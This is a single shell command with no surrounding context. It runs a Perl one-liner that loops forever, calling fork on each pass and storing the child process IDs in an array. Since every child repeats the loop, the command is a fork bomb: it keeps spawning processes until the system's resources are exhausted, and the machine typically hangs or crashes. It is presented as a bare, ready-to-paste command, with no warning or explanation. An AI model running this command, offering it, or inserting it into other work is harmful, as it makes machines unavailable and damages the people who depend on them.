$ perl -e "while ( ++$i ) { $a[$i] = fork; }"